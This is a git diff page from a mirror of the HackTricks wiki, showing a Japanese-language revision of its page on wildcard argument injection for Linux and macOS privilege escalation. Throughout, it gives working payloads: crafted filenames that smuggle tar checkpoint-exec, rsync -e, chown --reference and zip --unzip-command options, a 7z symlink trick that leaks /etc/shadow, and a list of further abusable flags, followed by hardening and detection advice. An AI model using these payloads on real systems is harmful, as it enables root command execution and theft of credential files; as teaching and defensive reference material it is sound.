mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr
This commit is contained in:
		
							parent
							
								
									c1b5fed6c9
								
							
						
					
					
						commit
						e3bd88cc24
					
				@ -1,60 +1,123 @@
 | 
			
		||||
# Wildcards Spare Tricks
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## chown, chmod
 | 
			
		||||
> ワイルドカード(別名 *glob*)**引数インジェクション**は、特権スクリプトが `tar`、`chown`、`rsync`、`zip`、`7z` などのUnixバイナリを、引用符なしのワイルドカード `*` と共に実行する際に発生します。
 | 
			
		||||
> シェルはバイナリを実行する**前に**ワイルドカードを展開するため、作業ディレクトリにファイルを作成できる攻撃者は、`-` で始まるファイル名を作成することで、**データではなくオプション**として解釈されるようにし、任意のフラグやコマンドを効果的に密輸することができます。
 | 
			
		||||
> このページでは、2023-2025年の最も有用なプリミティブ、最近の研究、現代の検出方法を集めています。
 | 
			
		||||
 | 
			
		||||
**どのファイルの所有者と権限を残りのファイルにコピーしたいかを指定できます**
 | 
			
		||||
## chown / chmod
 | 
			
		||||
 | 
			
		||||
`--reference` フラグを悪用することで、**任意のファイルの所有者/グループまたはパーミッションビットをコピー**できます:
 | 
			
		||||
```bash
 | 
			
		||||
touch "--reference=/my/own/path/filename"
 | 
			
		||||
# attacker-controlled directory
 | 
			
		||||
touch "--reference=/root/secret``file"   # ← filename becomes an argument
 | 
			
		||||
```
 | 
			
		||||
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(結合攻撃)_\
 | 
			
		||||
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) にあります。
 | 
			
		||||
 | 
			
		||||
## Tar
 | 
			
		||||
 | 
			
		||||
**任意のコマンドを実行する:**
 | 
			
		||||
ルートが後で次のようなものを実行するとき:
 | 
			
		||||
```bash
 | 
			
		||||
chown -R alice:alice *.php
 | 
			
		||||
chmod -R 644 *.php
 | 
			
		||||
```
 | 
			
		||||
`--reference=/root/secret``file` が注入され、*すべての* 一致するファイルが `/root/secret``file` の所有権/権限を継承します。
 | 
			
		||||
 | 
			
		||||
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (複合攻撃)。
 | 
			
		||||
詳細については、古典的な DefenseCode の論文を参照してください。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## tar
 | 
			
		||||
 | 
			
		||||
### GNU tar (Linux, *BSD, busybox-full)
 | 
			
		||||
 | 
			
		||||
**チェックポイント** 機能を悪用して任意のコマンドを実行します:
 | 
			
		||||
```bash
 | 
			
		||||
# attacker-controlled directory
 | 
			
		||||
echo 'echo pwned > /tmp/pwn' > shell.sh
 | 
			
		||||
chmod +x shell.sh
 | 
			
		||||
touch "--checkpoint=1"
 | 
			
		||||
touch "--checkpoint-action=exec=sh shell.sh"
 | 
			
		||||
```
 | 
			
		||||
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\
 | 
			
		||||
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
 | 
			
		||||
一度rootが例えば`tar -czf /root/backup.tgz *`を実行すると、`shell.sh`がrootとして実行されます。
 | 
			
		||||
 | 
			
		||||
## Rsync
 | 
			
		||||
### bsdtar / macOS 14+
 | 
			
		||||
 | 
			
		||||
**任意のコマンドを実行する:**
 | 
			
		||||
最近のmacOSのデフォルトの`tar`(`libarchive`に基づく)は`--checkpoint`を実装していませんが、外部コンプレッサーを指定できる**--use-compress-program**フラグを使用することで、コード実行を達成することができます。
 | 
			
		||||
```bash
 | 
			
		||||
Interesting rsync option from manual:
 | 
			
		||||
 | 
			
		||||
-e, --rsh=COMMAND           specify the remote shell to use
 | 
			
		||||
--rsync-path=PROGRAM    specify the rsync to run on remote machine
 | 
			
		||||
# macOS example
 | 
			
		||||
touch "--use-compress-program=/bin/sh"
 | 
			
		||||
```
 | 
			
		||||
特権スクリプトが `tar -cf backup.tar *` を実行すると、`/bin/sh` が起動します。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## rsync
 | 
			
		||||
 | 
			
		||||
`rsync` は、`-e` または `--rsync-path` で始まるコマンドラインフラグを介してリモートシェルやリモートバイナリをオーバーライドすることを可能にします:
 | 
			
		||||
```bash
 | 
			
		||||
touch "-e sh shell.sh"
 | 
			
		||||
# attacker-controlled directory
 | 
			
		||||
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh
 | 
			
		||||
```
 | 
			
		||||
この攻撃は、[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_を使用して悪用できます。\
 | 
			
		||||
詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください。
 | 
			
		||||
もしrootが後で`rsync -az * backup:/srv/`でディレクトリをアーカイブすると、注入されたフラグがリモート側でシェルを起動します。
 | 
			
		||||
 | 
			
		||||
## 7z
 | 
			
		||||
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync`モード)。
 | 
			
		||||
 | 
			
		||||
**7z**では、`--`を`*`の前に使用しても(`--`は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドがrootによって実行されている場合:
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 7-Zip / 7z / 7za
 | 
			
		||||
 | 
			
		||||
特権スクリプトが*防御的に*ワイルドカードの前に`--`を付けて(オプション解析を止めるために)も、7-Zipフォーマットは**ファイルリストファイル**をサポートしており、ファイル名の前に`@`を付けることができます。それをシンボリックリンクと組み合わせることで、*任意のファイルを外部に抽出*できます:
 | 
			
		||||
```bash
 | 
			
		||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
 | 
			
		||||
# directory writable by low-priv user
 | 
			
		||||
cd /path/controlled
 | 
			
		||||
ln -s /etc/shadow   root.txt      # file we want to read
 | 
			
		||||
touch @root.txt                  # tells 7z to use root.txt as file list
 | 
			
		||||
```
 | 
			
		||||
このコマンドが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます:
 | 
			
		||||
もしrootが次のようなコマンドを実行すると:
 | 
			
		||||
```bash
 | 
			
		||||
cd /path/to/7z/acting/folder
 | 
			
		||||
touch @root.txt
 | 
			
		||||
ln -s /file/you/want/to/read root.txt
 | 
			
		||||
7za a /backup/`date +%F`.7z -t7z -snl -- *
 | 
			
		||||
```
 | 
			
		||||
その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことです)そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込み、**このファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。
 | 
			
		||||
7-Zipは`root.txt`(→ `/etc/shadow`)をファイルリストとして読み取ろうとし、**stderrに内容を出力します**。
 | 
			
		||||
 | 
			
		||||
_詳細は HackTheBox の CTF ボックスの Write-ups にあります。_
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Zip
 | 
			
		||||
## zip
 | 
			
		||||
 | 
			
		||||
**任意のコマンドを実行する:**
 | 
			
		||||
`zip`は、アーカイブがテストされるときにシステムシェルに*そのまま*渡されるフラグ`--unzip-command`をサポートしています:
 | 
			
		||||
```bash
 | 
			
		||||
zip name.zip files -T --unzip-command "sh -c whoami"
 | 
			
		||||
zip result.zip files -T --unzip-command "sh -c id"
 | 
			
		||||
```
 | 
			
		||||
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 追加のバイナリ:ワイルドカードインジェクションに脆弱なもの (2023-2025 クイックリスト)
 | 
			
		||||
 | 
			
		||||
以下のコマンドは、現代のCTFや実際の環境で悪用されています。ペイロードは常に、後でワイルドカードで処理される書き込み可能なディレクトリ内の*ファイル名*として作成されます:
 | 
			
		||||
 | 
			
		||||
| バイナリ | 悪用するフラグ | 効果 |
 | 
			
		||||
| --- | --- | --- |
 | 
			
		||||
| `bsdtar` | `--newer-mtime=@<epoch>` → 任意の `@file` | ファイル内容の読み取り |
 | 
			
		||||
| `flock` | `-c <cmd>` | コマンドの実行 |
 | 
			
		||||
| `git`   | `-c core.sshCommand=<cmd>` | SSH経由でのgitによるコマンド実行 |
 | 
			
		||||
| `scp`   | `-S <cmd>` | sshの代わりに任意のプログラムを起動 |
 | 
			
		||||
 | 
			
		||||
これらのプリミティブは*tar/rsync/zip*のクラシックよりも一般的ではありませんが、ハンティングの際には確認する価値があります。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 検出とハードニング
 | 
			
		||||
 | 
			
		||||
1. **重要なスクリプトでシェルグロビングを無効にする**: `set -f` (`set -o noglob`) はワイルドカードの展開を防ぎます。
 | 
			
		||||
2. **引数を引用またはエスケープする**: `tar -czf "$dst" -- *` は*安全ではありません* — `find . -type f -print0 | xargs -0 tar -czf "$dst"`を好むべきです。
 | 
			
		||||
3. **明示的なパス**: `*`の代わりに`/var/www/html/*.log`を使用して、攻撃者が`-`で始まる兄弟ファイルを作成できないようにします。
 | 
			
		||||
4. **最小特権**: 可能な限り、バックアップ/メンテナンスジョブをrootではなく特権のないサービスアカウントとして実行します。
 | 
			
		||||
5. **監視**: Elasticの事前構築されたルール*Potential Shell via Wildcard Injection*は、`tar --checkpoint=*`、`rsync -e*`、または`shell child process`に直後に続く`zip --unzip-command`を探します。EQLクエリは他のEDRに適応できます。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
* Elastic Security – Potential Shell via Wildcard Injection Detected rule (最終更新 2025)
 | 
			
		||||
* Rutger Flohil – “macOS — Tar wildcard injection” (2024年12月18日)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user